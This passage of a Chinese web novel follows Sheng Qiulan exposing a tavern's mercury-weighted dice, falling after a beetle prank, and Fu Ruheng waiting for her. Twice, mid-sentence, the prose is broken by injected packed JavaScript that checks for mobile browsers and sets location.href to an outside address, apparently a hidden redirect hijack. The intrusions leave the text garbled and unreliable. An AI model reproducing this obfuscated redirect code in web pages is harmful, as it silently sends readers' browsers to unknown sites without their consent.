之前被盛承驰拉着摸了一把毛,盛秋阑也多了一点胆子,她缓慢 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按照现在这个时辰,盛承礼应该在书房当中,但是盛秋阑找遍了所有房间,都没有找到人影。 她无所事事地四处打量着,最后在书房中的桌子上看到了熟悉的小盒子。 盒子旁边还架着毛笔,纸张上面的墨渍尚未完全干涸,看上去像是刚刚离开不久。 一看就是被盛承驰引开了之后放上去的。 盛承驰的点子一向很多,在盛秋阑小时候,他就没少撺掇她一起闯祸。 有时候是带着她偷偷去外面买些平时家里人不让多吃的糖,有时候又溜进贺兰谨的房中把一些饰品藏起来,让盛秋阑在门口盯梢。 他明着打算盘,若是被发现了还能拉上盛秋阑一起,知道家里人不舍得再责骂,笑嘻嘻地保证下次不会再犯,实则安分不了几天又开始故技重施,只有被送去学堂的时候才能够清静一段时间。 不过在所有人中,盛承驰还是最喜欢折腾大哥。 盛承礼一向沉稳端庄,但是对弟妹没有一点办法,盛承驰总能找到办法让他变得无可奈何,事发之后再拉着一起干坏事的盛秋阑讨饶。 其实盛承驰有些法子都已经用了好几次,偏偏每次都能够骗到盛承礼。 “大哥,你不要再背书了,那些四书五经到底有什么好看的,学堂里面还没有背够吗?” 盛承礼被他吵得静不下心,一转头刚想板着脸教训,就看见两个毛茸茸的脑袋,一左一右地在两边盯着他。 盛承礼举手投降:“那你们说说,想要玩什么?” 盛承驰计谋得逞,拉着人出了门:“听说城西有一家新开的酒肆正在投骰子助兴,拿到彩头可以在酒肆里面任意吃喝半年。” 他早就跃跃欲试,可是娘亲每个月给他的银钱已经被花光了,盛秋阑虽然有钱,但是他也不想厚着脸皮问比自己小五岁的妹妹要。 那就只有盛承礼了。 15. 作假 盛承礼平时花销不多,每个月都能存下不少钱,就这样被弟弟半拉半拽着上了马车。 被坑了这么多次,他拿着自己尚且富裕的钱包,非常警惕地提醒。 “适量就好,不可贪心。” 盛承驰信心满满:“放心,等我拿到魁首之后,请大哥吃饭。” 盛承礼压根放不了心:“你只要别把我的钱全都输光就不错了。” 三个人坐在马车上比较拥挤,万幸盛秋阑个头小,夹在两个人中间刚刚好。 盛承驰已经开始报自己中了彩头之后要点的菜,她默默看了一眼钱包的厚度。 希望回来的时候还能够见到其中的一半。 城西近日非常热闹,酒肆的活动一共有五天,今日刚好是最后一天,人们里三圈外三圈地围在门口。 先不论酒肆的饭菜好不好吃,光是这样子就已经吸引了不少人,就算原先不了解活动的人也被吸引过来,在门口排起了长队,酒肆里面更是人满为患,甚至还叫起了号。 他们的马车停在外面,有一些人转过头来看了一眼,很快又将注意力放在中间。 酒肆的宣传做得很大,自然也有其他高官子弟来尝试,个个都卯足了劲想要拿到那半年的免账彩头。 他们当然不缺少那几餐饭钱,但是这件事说出去面子上好看,足够在学堂里面好好地吹嘘一波,只是据盛承驰听到的,还没有人成功过。 他一早就跃跃欲试,势必要成为第一个拿到彩头的人,之前苦于自己没有银钱,现在把盛承礼拉过来,他就无所畏惧了。 总归花的不是他的银子,最后还有大哥保底。 被噱头吸引过来的人不少,不只是旁边围观的人,更有人挽着袖子想要大展身手,在酒肆门前摆着的小桌子上,有不少人拿着铜钱尝试。 桌子旁边立着块木牌子,上面用墨水写着规则。 “5点以上一盘花生米,11点以上半壶小酒,17点以上半年任一点单免账”。 有人问:“多少一次?” “十文一次!” 总归只是一盘小菜的钱,那人跃跃欲试:“那我来一次。” “好嘞!” 小二收了钱,笑眯眯地展示掷骰的骰子:“这边是三颗骰子,若是中了可以到店中去兑换。” 那人拿起骰蛊,把三颗骰子放入其中,他的动作熟练,看样子像是经常在赌坊当中混迹,杯中的骰子不断地滚动,周围的人看热闹地站在一边,眼神紧盯着他手中不断摇晃的杯子。 “啪!” 黑色的骰蛊立在桌子上,那人信心满满地揭开来一看,三颗骰子错落地立在当中。 “10点,就差一点,真不巧。”小二口吻略带惋惜,“客官要再试一次吗?” 男人被激起了斗志:“再来一把。” 这次他摇晃的时间更长了,骰蛊盖子被打开来,显示12。 “恭喜!”小二把两根不同颜色的竹签给他,签筒里面还放着许许多多相同样子的竹签,多为木色竹签,次是青色,唯有两三根红色的签子散落在其中,非常显眼。 那人看起来不是很甘心,但是看了签筒之后还是放弃了再来一次的想法,走到了酒肆里面兑换。 后面的人围观了许久,纷纷举着铜板或是纸币。 “我来一次!” “我这边五次!” 眼见着人越来越多,一个小二忙不过来,里面又搬出来了一张桌子,分成两个通道来分担压力。 盛承驰挤入旁边围观的人群当中,在其中一张桌子后面排队。 前面有人手里攥着好几根签子,多是木色,中间夹着一两根青色,有些手上空空,再也不敢尝试。 轮过这么多人,签筒里面的红色签还是稳稳当当,没有被动过,最多被拨动了一下位置。 盛承驰拿着从大哥手中拿来的铜板,豪气地拍在桌子上。 “我来十次。” 先前不乏有人出手大方,只是他的装扮一看就出身不凡,周围的人不免往这个方向挤了挤,想看看结果会不会有什么不一样。 盛承礼和盛秋阑一直在旁边,占据了最清晰的观赏位。 盛承驰先前没有玩过这种骰子,只在刚才围观了一会儿别人的做法,拿起骰蛊之后像模像样地晃了两下,一打开却是4点。 “我就先试试。”他嘴硬道。 他说到做到,一连掷了剩下的九次,获得了八盘花生米。 这种游戏玩着玩着就容易上头,小二收好骰子,提醒说已经没有次数了,盛承驰转向一旁站着的大哥。 盛承礼有种不好的预感,他默默捏紧岌岌可危的钱包:“差不多了。” “哎呀大哥就再来几次,我感觉刚才已经找到规律了,再来几次一定可以。” 盛承礼无奈,又从钱袋里面抽出一张纸币。 盛秋阑已经在旁边观察了许久,她看着盛承驰手里面的签子,盘算了一再玩下去,等这些花生米下肚,自己是不是就能够饱了。 二哥说的请客不会就是请吃花生米吧。 她看着盛承驰再次掷出的点数,默默计算了一下,眉头一皱。 不对,概率不对。 怎么会没有一次超过13点。 按理说就算运气再差,这么多次下来,也不至于一次都没有高点数,三颗骰子被掷了这么多次,却没有一颗是6点朝上的。 盛秋阑看了看周围,发现几乎所有人都是这样,就连半壶酒也已经算是少见,大多是拿着最普通的棕色签子,酒肆当中的花生米一盘接着一盘送出去。 她之前听过一点赌场猫腻,知道有些人会在道具当中做手脚,只是放在现在这个时候,这种手段还算隐蔽,大多数人掷到小点数也只会把问题归结于今日运气不佳,根本想不到手上看似普通的骰子还会有问题。 “二哥,我来试试吧。” 剩余的次数不多了,盛承驰先前吹嘘一番,如今却还只有寥寥几瓶酒,正愁着如何放慢进度,闻言把骰蛊递给了盛秋阑。 盛秋阑转着手腕晃了晃,打开一看。 9点。 盛承驰本来看她的样子还以为妹妹是找到了技巧,没想到看起来和其他人也没有什么差别。 “要不还是我自己来吧。” 盛承驰想要拿过骰蛊,没想到却摸了个空。 盛承驰:??? 盛秋阑手中拿着一张银票:“给我来一百次。” 她今天出门的时候没有带钱,也不知道是从哪里变出来的票子。 周围的人惊讶,盛承礼感应到了什么,摸了摸自己的钱袋,发现原本紧闭的扣子不知什么时候被打开了。 仔细回想,盛秋阑刚才一反常态地与他靠得极近,想必就是在那个时候拿走了里面的钱。 盛承礼:“……” 他默默地把已经薄了一圈的钱袋换了一个更加安全的位置,贴在自己的胸口。 盛承驰自己还只敢报上十次,没想到盛秋阑狮子大开口,一来就要玩一百次。 他的头脑清醒了一点,从刚才上头的状态脱离出来:“算了吧,大哥真的要没钱了。” “不,我今儿一定要掷到那张券。”盛秋阑一反常态。 那个小二笑容收了点,有些隐晦地看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938681|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼骰蛊。 “几位小客官,这本就是助兴的小游戏,切莫伤了和气。这样,若是你们在店中就餐,我送一份招牌鱼可好?” 他们在这边玩的次数已经足够在酒肆当中好好地吃一顿,在加上盛秋阑这次甩下来的银票,已经有很多人开始窃窃私语。 “这是哪家公子小姐,竟然如此豪横。” “这些钱已经可以省下来好好吃一顿了,看来是玩上头了,要我说适可而止就好,这种奖券怎么可能这么轻易就拿到?” 盛秋阑充耳不闻,她的眼睛紧紧盯着小二,不肯放过任何一个表情:“不用,我就要自己掷出来,还是说你们这边有什么猫腻?” 小二尬笑两声:“怎么会呢小姐,小的是看次数太多,怕后面等着的客官等急了。” 盛秋阑想了想,觉得也有道理,等到她自己摇完一百次,手都要酸死了。 但是她没有像小二想象的那样放弃,转身对身后的人说:“今日我来付钱,你们只需要来掷骰子,掷完一百次就好,获得的小菜或者酒水都归你们。” “这……” 小二没话说了,只能看着排在盛秋阑身后的人欢天喜地地上来,轮流晃着骰蛊。 盛秋阑抱着胳膊站在一边,默默地算着投出来的次数。 盛承驰坐不住了,凑到她耳边压低声音开口:“你要做什么?虽然大哥确实钱多,但是这样浪费好像有点太明目张胆了,万一下次他不肯来了怎么办?” “没事,到时候我原模原样赔给大哥。” 能让小财迷说出这种话,盛承驰一惊。 “难道这其中还有什么学问,难道这些人当中有掷骰高手?” 他开始对这些装扮普通,摇晃骰子的人另眼相看,试图从中找出有谁是落入民间的赌神。 但是很快,盛承驰就没有了兴致。 这几次掷出来的骰子大多都小于了11,能够拿到半壶酒已经不错,至于盛秋阑说的回本更是连一个子都见不到,花生米倒是消耗了一盘又一盘。 小二原本还有些警惕,想看看盛秋阑想要做什么,但是见她只是站在一旁,似乎真的只是突发奇想想要撒钱,慢慢就放松了警戒,以为只是哪个富家小姐心血来潮。 盛秋阑看着那一百次被消耗完毕,对盛承驰说:“你发现了什么?” 盛承驰二丈摸不着头脑:“发现什么?不就是一些花生米吗,连拿到酒都算少数,这样来看,我原先的运气已经是不错。” “你莫不是想要用这种方法告诉我不要痴心妄想吧,小心大哥之后连银钱都不给你。” 盛秋阑没有被他打乱节奏:“有几个拿到了酒?” “约莫二三十个。”盛承礼接话,他终于也看出来了问题,“数量不对。” “啊?哪里不对?” “按理来说,11点以上的概率与以下的概率是一半比一半,但是现在明显比例不对了。” 先前鱼龙混杂,也不会有人有闲心去计算哪些人获得了酒,但是现在集中起来掷骰子,问题就很明显了。 盛秋阑上前拿过骰蛊,晃了晃,三颗骰子“咕噜”滚出来,落在手心。 “哎,小姐你要干什么?”小二有些急了。 他似是感应到什么,想要将骰子拿回来,却被一闪身躲开了,再想要上前,面前就有两个侍从拦住,只能眼睁睁地看着盛秋阑拿着骰子来到酒肆门口。 三阶青石台阶一直铺到店大门,盛秋阑拿着手上的骰子,往台阶尖锐处一砸。 “砰。” 破碎的骰子碎片飞溅,豁口处淌出几丝银液,从骰子中间的空腔处流出来。 16. 跌倒 众目睽睽之下,这件事做不了假,大家都看到盛秋阑是拿了酒肆里面的骰子。 小二脸上青一阵白一阵,很快现场就开始变得混乱。 “你们怎么还作假,怪不得这么多人都只能掷中小点数。” “亏我昨天还来吃过饭,没想到竟然这么玩不起。” “我玩了五回,想着半瓶酒就好,结果最后拿了五盘花生米,还以为是自己运气不好,原来是骰子本身就有问题。” “我要退钱,再也不来了!” 到后来,其他的话已经听不见了,几乎满场都是“退钱”两字。 店中的人很快被吸引了目光,听闻事情的发展之后也坐不住了。 虽然只是十文钱,但这又不是赌坊,谁能想到酒肆就连这一点风险都不肯冒,外加上有个免账的噱头在,不妨有上头后投入很多的。 一时之间,里面和外面都忙成一团,现场吵吵闹闹,几乎所有的伙计全都跑出来安抚了,但根本控制不了场面。 大掌柜被紧急请出来,但是现场根本没有听他讲话。 “你们这种连游戏都要作假的店铺我们怎么敢吃,万一结账时又给我算错怎么办?我后面还有两个菜不要了,给我退钱。” “我昨日在门口花了五十文,早知道你们的骰子有问题,我肯定不来。今天竟然还给你这狗店来捧场,早知道这钱我就去买几斤烧鸭,还能吃点好的。” 大掌柜年近四十,脸上的汗珠不住地滚下来,他想要说些什么,却发现自己的声音早已经被淹没在嘈杂之中,根本没有人听。 新店开业用掷骰子助兴是很平常的手段,他也是听一个在赌坊工作过的酒友说有这种方法才动了歪脑筋,那人说这个方法只有赌坊内部的大老板知晓,他也是偶尔发现的,何况只是十文钱,也不会有人在意。 没想到竟然有人真的能够闲得没事,看出了不对。 “是谁最先发现的?” 大掌柜低声问身边的人。 那人指了指在门口的盛秋阑:“就是那位小姐,她是和两个公子一起来的,花了一千二百文。” 大掌柜闻言,走出了酒肆,来到外面开阔地,一眼就看见了站在门口的盛秋阑,对方脚下还是破碎的骰子,没有人清理,就这样明晃晃地展示着内部的空腔。 他两只手插在一起,露出一个笑,眼角的皱纹全都挤出来了:“这位小姐,今日可能有什么误会,不如我们进屋里细谈?” 盛秋阑丝毫不买账:“不用,有什么事就在这里说清楚,毕竟大伙都看得见。” 掌柜在心里面暗骂,面上还是笑着,弯腰在女孩耳边轻声说:“不如我们就在这说开,当做是个误会,以后您来,我们半年……三年都免账。” 盛秋阑不缺这一点钱,更何况光看掌柜这幅还不知悔改的样子,这家酒肆能不能撑三年都说不好,指不定哪一天就被其他人发现使用了其他歪门邪道。 这种饼她吃多了。 人群愈发激愤,看到掌柜走出来,人们换了攻击的对象,一股脑全都往这个方向挤过来,拉着人就要说清楚。 场面就要控制不住了,掌柜见盛秋阑不答应,也没有机会再次劝说,徒劳地安抚着其余人。 “这其中应当有什么误会,这样,今日在场消费的桌子全都八折。” 他一边说着,一边心中滴血,盘算着今日要损失多少的银钱。 本想着这话一出,场面能够得到控制,没成想在场的人还是不买账,有些人花的不多,已经坐回了位置上面,但还有一部分却还在大声声讨。 “那你们之前骗的钱呢,什么时候退给我们?” “就是,你们这五天骗了不少人吧。” 酒肆宣传的势头不小,不少人是冲着那半壶酒才过来,更有人想要拿个红签子回来,没想到却与想象中大相径庭,这回知道了其中有猫腻,自然不肯就这样轻易作罢。 掌柜这几天坐在账房当中拨着算盘好不快活,没想到在最后一天却被人撂了挑子。 想到这五天确实靠着门口的伎俩拿了不少钱,更有很多人是因此才到店里面点菜的,他头顶的汗珠越发密集,意识到自己原先撒的谎彻底被揭穿,也不会有人再相信了。 盛秋阑早已经离开了最中心的地点,防止被人挤到,任由掌柜被包围起来。 盛承驰和盛承礼一直关注着这边的动静,见人越来越多,还闹成了这幅样子,今日来时的目的应该是完不成了,他们重新坐上马车回去。 等到盛秋阑坐稳,听到旁边一道幽幽的声音:“说好的把我的银钱拿回来呢?” 女孩身形一僵,她俨然已经忘记了这件事,原本是打算真相揭开来后让掌柜来赔钱的,没想到其他人比她更加激动,对方已经应接不暇,跑的时候光顾着躲开人群,以至于忘记这件事了。 盛秋阑装傻:“啊哈哈,我都忘记这件事了,没想到大哥你还记着啊。没事,哥你就当用这些钱来做好事吧,那个骗人的酒肆肯定开不了多久,还能让那些老百姓的钱拿回来。” 盛承礼原本就没想着能够把钱拿回来,只是盛秋阑的表情实在好玩,他才多逗了两句,看人眼巴巴地求饶,也不再多说,就这样睁一只眼闭一只眼放过了。 马车停在侍郎府门口,他们还没来得及分开,就被带到了书房当中,一打开门就看见盛怀德坐在位置上,看着他们三个人,表情不算好。 “今天去哪里了?” 知道瞒不过去,几个人乖乖承认:“去了城西的酒肆。” “听说那边新开的一家店,不过五日名声已经被人人喊打,好像还有你们的手笔?” 盛怀德的目光转向站在最中间的盛秋阑,在场的人不少,有很多人都描述出来了女孩的样貌,就连装束都丝毫不差,能够猜到是盛秋阑不足为奇。 盛承礼悄悄挪身,帮忙遮掩:“那位掌柜行事不妥,拿着灌水银的骰子骗人,秋阑只是揭穿了一下,没想到会发生这种事情。” 没想到? 盛怀德嘴角一抽,他分明听传消息的人说,三个人是躲在角落里面看完热闹之后才走的,还在一旁小声地为群起激愤的食客们加油,生怕掌柜好端端地回去。 不过说到底他们还算干了件好事,盛怀德只是觉得行事太过张扬,会被有心人另做文章,虽然他们家不会因此对子女太过苛刻,但终究还是要留个心眼。 他提点了一番,三个人低着头乖乖应下。 终于听到结尾,他们松了一口气,以为这件事就要结束了,终于打起了几分精神:“父亲再见。” “等等,我还没说完,”盛怀德似笑非笑,“今日掷骰子的银钱是哪里来的?” “是母亲给的零钱。” 盛秋阑察觉到父亲的语气不对,留了个心眼没有说话,没想到盛承驰已经回答了。 她稍稍抬起头,表情中带上了一点幸灾乐祸,直觉接下来说出来的不是什么好消息。 “哦,既然这样,那下个月就克扣掉一半零钱吧,让你们安分一个月。” 盛怀德本来还想要多说几个月,最终还是没忍心,默默改了数字。 对盛承礼来说这点钱已经足够了,他面色如常,对着父亲行了一个礼,表示知晓。盛承驰就开始愁眉苦脸了。 他花钱比较大手大脚,就连平时也撑不到月末,剩下几天全靠其他好友或者盛承礼救济,这下子再扣掉一半,应该就要紧巴巴地过日子了。 当着父亲的面,他不敢反驳,一出门就开始装可怜。 “下个月我大抵要天天吃土了。” 这时候盛承驰也顾不得那一点作为哥哥的面子,厚着脸皮问盛秋阑:“你应该也不想看二哥饿肚子吧。” 这话明显是夸大,盛怀德只是想要给他们一个小小的教训,倒真不至于让人饿肚子,而且学堂当中每日也有饭菜供应。 “学堂里面的饭菜实在是太难吃了,只能下晚学后自己 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就在这时,正方形外壳突然炸开,围起来的四边向各自的方向倒去,底部似乎装了一个弹簧,把里面的东西弹出来。 盛秋阑眼睛一眨,只见一只足足有她巴掌大的黑色甲壳虫在空中划过一道弧线,直直地冲着她爬过来。 “啊!!!” 在京城呆得久了,平时有碧云他们在房间各处放驱虫的草药香薰,盛秋阑平时最多看见蚊虫,差点忘记了还有这么大的虫子。 要知道她从小天不怕地不怕,就算草丛里面有一条蛇也能面不改色地走过去,但是唯独受不了这种甲壳爬行动物。 更何况这个还是Plus版的。 盛秋阑脚下的步子乱了一瞬,随后慌不择路地跑出了书房,半刻也不敢回头看。 二哥居然从花鸟集里面带出了这个东西,难怪之前藏着掖着不肯打开,若是在马车上掀开盖子,那真是连跑的地方都没有。 盛秋阑双腿不断地倒腾着,感觉自己已经跑出了最快的速度,但还是片刻都不敢停下来,满脑子都是刚才蹦出来的黑色物体,那几只细长的脚在空中摇摆着,密密麻麻。 啊啊啊啊啊,下次再也不跟二哥一起捉弄大哥了! 她实在太过害怕,想要回头看虫子有没有追上来,又生怕看见那个丑陋的甲壳虫跟在后面,只能一边跑一边转头,就这样在慌忙之下绊倒在凸起一块的石板路上。 膝盖磕在粗糙的石板表面,瞬间红了一片,在红色的最中央,表面的皮肤已经被擦破了,裸露出伤口。 盛秋阑想要站起来,手脚却在不住地发抖,第一下想要撑起来,却重新跌回了原地。 她慌乱地往后面看,想要寻找那只甲壳虫在哪里,心中还抱着一丝侥幸。 都已经跑了这么远了,应该追不上了吧。 手心摁在石板上,被擦破的地方散发着灼热,伴随着痛感,但盛秋阑此时顾不上这些,眼睛紧张地环顾着四周,一旦见势不对就会跑走。 这下还真让她看出了什么,在距离她不远的草中,有一个黑色的东西仿佛正在移动,随着一阵风吹来,两者之间的距离更近。 盛秋阑一惊,来不及再看得更加仔细,撑起上半身就要立刻往前方跑,腿却不听使唤地软下来,没走两步就要跌倒。 膝盖上面的伤口还没有好,要是再磕一次大概就要流血了,到时候就彻底站不起来了。 盛秋阑努力想要再往前走两步,却根本使不上力气。 她已经闭上了眼睛打算迎接和大地的密切接触,身体却落入一个温热的怀中,疼痛迟迟没有到来。 头顶处传来一道声音,难得放软了语调,不再像平时那样硬邦邦的,带着一丝不易察觉的抚慰温柔。 “好了,没事了。” 17. 迟迟未见 侯府今天异常安静,对面那位侍郎千金没有再一大早上就过来敲门,连看守大门的侍从都有些不习惯。 “今日那位盛家小姐怎么没来?” “不知道,这么安静我都有些不习惯了。” 虽然盛秋阑平常对他们的态度一般,但是相比起侯府中的主子们来说已经算是很好,见面没有呼来喝去,外加上相貌可爱,府中不少人都对她挺有好感。 傅如珩早起锻炼完,换了一套衣服,把昨天被打断到一半的文章背完。 外面的太阳已经升到斜上方,气温也逐渐升高,却还是没有听见往常清脆的声音。 他抬起头,看了一眼挂钟,已经将近巳时。 盛秋阑不是没有赖床的时候,若是前一天晚上睡得晚了,迟点来找他也算常见。 他所背的已经是中舍中的课本,文字晦涩难懂,又是一个大长篇,傅如珩沉着心背了两段之后依旧没有听到声音,忍不住皱了皱眉。 往后的文字都开始跳跃着,思绪牵挂到外面,他对着书本看了两行,等回过神才发现什么都没有理解。 傅如珩干脆合拢了书,把它放在抽屉里,又小心地盖上。 昨日新到的土已经运到了他的院子当中,整整两大袋被送进来,却没有人敢像之前那样阻拦。 昨天在傅如珩回府之后,傅皓轩也被送回来了。 但与一身干干净净的傅如珩不同,后者是被搀扶进来的,浑身上下几乎看不见一点干净的地方。 棕色汤汁浸透了外衫,散发着一股卤肉糕点味,暴露在外面的皮肤也都是青青紫紫,隐约能看见浅灰色的脚印,脸上还有一个巨大的巴掌印。 “看什么看?” 傅皓轩火冒三丈,对着看过去的下人们发火,瞪着眼睛一一扫视过去,被看到的人急忙低下头,生怕成为被发泄的对象。 左脸颊不断地发着热,碰一下就开始疼,傅皓轩没有照过镜子,但也知道现在脸上肯定不好看。 帷幔下面根本看不清人,傅皓轩和赵乾伸手看不见对方,在摆脱布料的时候,赵乾一个不留神就打在了他脸上,当时场面一片安静,只有一声巨大的巴掌声。 傅皓轩阴沉着脸,一把挥开后者想要来查看的手,可印子已经留在了脸上,在场的所有人都看见了。 这样还不算完,鎏金楼的掌柜硬着头皮清点了现场损坏的东西,列出了一长串名称和账单,就算侯府每个月给他一笔数量可观的银钱,也足足要他三个月的零钱。 傅皓轩这次出来手头上没有那么多钱,压着火气和掌柜说。 “等我回侯府给你拿。” 掌柜为难,还是没有走,站在他的面前赔笑着。 “世子殿下,不是小的不信你,只是这毕竟也不算个小数目,万一怪罪下来,我也不好交代啊。” 傅皓轩哪次来鎏金楼不是被前呼后拥、殷情讨好的? 骤然被这样一说,他脸上无光,恼羞成怒道:“难道你们觉得我还会赖账吗?” 掌柜头顶上的汗珠都要下来了,暗骂自己怎么就轻易把人放进来,结果弄成现在这样,搞不好还得罪了人。 “当然不是,只是我们这店里总要有人,要不您叫下人跑一趟?” 傅皓轩一看到酒楼里面的装潢就想起来刚才的耻辱经历,再加上身上的衣服还散发着臭味,半刻都不想呆下去。 但若是现在走了,万一这件事情被传出去,他的名声还往哪里放? 傅皓轩心里烦躁,一瞥眼看见赵乾站在门边想要偷偷溜走,一把拽住了人。 “你今天是和我一起来的,这钱你也别想逃。” 赵乾心中叫骂,欲哭无泪:“世子,我前两天刚被我爹教训了,克扣了我一个月的零花,再说……今儿是你叫我来的,说费用全都包了。” 他的声音到后来渐渐低了下去,见傅皓轩脸色不对,还是不情不愿地从身上拿出最后的一点钱。 两个人硬凑出所有的钱,才在掌柜和其他人的微笑中被放走。 傅皓轩阴沉着脸到了侯府,见其他人看他的目光更是不爽,在院中发泄了一通还不过瘾,一回到房中就关上了门,下一秒房内就传出噼里啪啦摔东西的声音。 作为侯府世子,他房间里面自然不缺名贵摆件,现在被看也不看扔在地上,残渣碎了满地。 府中上上下下都不敢在这个时候靠近他的院子,下人们噤若寒蝉,心中却不免疑惑。 毕竟是先皇亲批的爵位,就算现在的陛下对侯府没有多大的感情,只要不干株连九族的事情,也能保一世荣华,外加上还有女儿在皇帝后宫为妃,是谁敢这样对傅皓轩? 傅皓轩的贴身侍从姗姗来迟,说漏了嘴,其他人才知道原来是对面的那个盛家小姐干的。 今天早上盛秋阑在众目睽睽之下拉着傅如珩出去,现在听说傅皓轩是被她打的,大家的目光不自觉头像府中最角落的那一处宅院。 傅如珩回来的时候没有半分异常,他们还以为没有发生什么事,感情是受害者还没有出现。 傅皓轩一开始没有感觉,回到房中躺下来才发觉身上哪哪都痛,连爬都爬不起来,腹部被盛秋阑踹了好几脚,此时只能板板正正地向上躺着,连翻身都费劲。 “医生呢,我要医生。” 府医提着药箱被几个人簇拥着进来,有些仆从不老实地想要看热闹,没想到房门却被一把拍上来。 过了不到半个时辰,医生从房里面出来,面容憔悴,就连头上的白头发都多了几根,看起来像是被折磨得不轻。 众人面面相觑,世子才回来没几天,没想到就摊上这种事情,老爷应该也还不知道这件事,也不知道知晓之后傅如珩会被如何对待。 就在这个时候,侯府的门突然被敲响。 门口有一个穿着粗麻布衣的人骑着一辆小三轮,后面放着两个鼓鼓囊囊的牛皮袋,下人上前检查,才发现全都是土。 “这是哪里来的?” 那人看了看门口金光闪闪的牌匾,也有些奇怪:“应该是侯府中的人定的,他说把东西送到这里。” 管理庭院的仆从摸不清头脑:“府中的土都是我管理的,从来没找你要过。” 其他人再怎么样也不可能会莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962895|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妙要两袋子土,唯一能干出来这种事情的就只有…… “我的。” 傅如珩不知道什么时候出来了,语气平淡,好像根本就没有听见傅皓轩进来时的动静。 刚才提问和回答问题的人都不敢说话了,只有运送过来的人还不清楚情况,在那边询问。 “小公子,需要我帮你拿进去吗?” 侯府也不是谁都能进的,下人们终于反应过来:“不用,我们来就行。” 傅如珩没有阻止,转身就走,在前面领着路,后面跟着两个人把土卸下来,一人一袋扛在肩上,放到院子里面。 深坑还残留在院子当中,他们带着一点心虚,没有再看第二眼。 “四少爷,要不要我们帮忙把坑填了?”放下袋子之后,他们小心翼翼地询问。 傅如珩在侯府按照年岁排名第四,只是大家平常都不怎么这样叫他,这个称呼也是难得听闻。 “不用。” 两个人惴惴不安地退开,一步三回头地走远这个院子。 直到看不见人影,傅如珩才从房里拿出药膏,熟练地抹在身上,随后打开了袋子上面绑紧的绳子,面不改色走到了坑旁边。 袋子被一脚踢翻,里面的沙土顺着斜坡滑落下去,很快就堆满了半个坑,最上面形成一个尖角。 傅如珩没有急着抹平,转而打开了另一个口袋,两个袋子很快变瘪,被随意丢在一旁,坑中心突出一个小三角,被傅如珩一压,很快松散的泥土就到了两旁。 沙土中间还掺着一点细碎的小石子,看上去品质不是特别好,但是养活一片草已经足够了。 傅如珩随意踏平了两下,走到里屋拿出之前还剩下大半的草药种子,均匀地洒在土壤上面,又拿旁边的泥土盖了盖。 太阳已经到了头顶,怕热的人此刻应该已经脱下了外套,可是始终都没有听见盛秋阑的声音。 傅皓轩因为昨天被打,现在还只能躺在床上,倒是难得的清静。 可傅如珩却觉得这个清静有些磨人了。 说不出来是为什么,只是心中空了一块,干什么事情都集中不了精神,思绪飘飘悠悠飞到了对面,又被两扇门给挡在外面。 手上似有灼人的痒意,傅如珩一开始还以为是自己沾到了草药,抬手却是药膏的清香,昭示着他早已经做好了预防措施,地上的草更是距离他十万八千里,连一点边角都没有碰到,根本不足以作为借口。 傅如珩随便瞄了一眼已经被打理好的院子,抬手关上了院门。 等站在侍郎府和侯府的小路中间,他才恍然发觉自己已经遵从着内心的某种冲动出了门。 肌肉记忆让他根本不用多做思考就能走到这里,却被侍郎府的门拦在门外,仿佛理智堪堪回守形成的最后一道防线。 傅如珩抿了抿嘴,几乎要崩成一条线,却迟迟没有上前。 他的脚步死死定在原地,不知道多久才终于松些了力气,脚下微动,手指却依旧攥紧,如同某种不甘。 就在傅如珩终于想要回去的时候,面前的大门突然打开了。 “公子?” 18. 伤口 侍郎府负责采购的小厮走出来,叫住了傅如珩。 “您是来找小姐的吧,她就在里面,可能跟二少爷在一起。” “昨日大少和二少从学堂回来了,小姐今天早上就跟着二少爷去了花鸟集,还抱回来一只小兔子,是小姐来叫你看的吧。” 傅如珩莫名松懈了一口气,心中的不安被抚慰。 他知道小厮所说的是什么兔子,盛秋阑每次经过集市的时候都会停下来去看,应该是盛承驰听说之后买下来了。 听这话,盛秋阑此时还在忙,傅如珩知道兄弟俩看他并不是很顺眼,外加上两人难得回来一次,他无意去打扰他们之间的相处。可小厮已经认定是盛秋阑提前打过招呼,还没有等傅如珩说就,把他带进去了。 “小姐之前说过,只要是您就可以随意进出的。” 小厮把他带进去之后,就匆匆忙忙往外走。 “小姐吩咐我去买兔子的吃食,我就不带您进去了。” 正如盛秋阑对侯府熟悉一样,傅如珩对侍郎府的布局也很清楚,几乎每一处地方都去过。 从某种意义上来说,他对侍郎府甚至比侯府更有归属感。 傅如珩没有如小厮说的那样去找盛秋阑,转而走向了之前提到过小兔被安置的花园当中。 看一眼就走。 没想到刚刚走到一半,就听到远处传来一声尖叫,即便因为相距很远,声音不算大,他还是第一时间就认出来——正是整天都在耳边叽叽喳喳的人。 傅如珩脑海一片空白,等回过神来,他已经往那个声音跑过去了。 几年之前,他第一次来到这个后院时还会迷路,最后误打误撞来到了后院,见到了盛秋阑。现在他已经能够熟练地走各种小路,甚至知道哪条路能够最快到达想去的地方。 如果没有听错的话,声音传来的方向应该是盛承礼的院子。 不过小厮不是说盛秋阑和盛承驰在一起吗? 来不及思考发生了什么,傅如珩隔着一道长长的石板路看见了盛秋阑。 对方的裙摆上沾着泥土,细看之下,膝盖处也有不大不小的污渍,看上去像是刚刚摔了一跤。 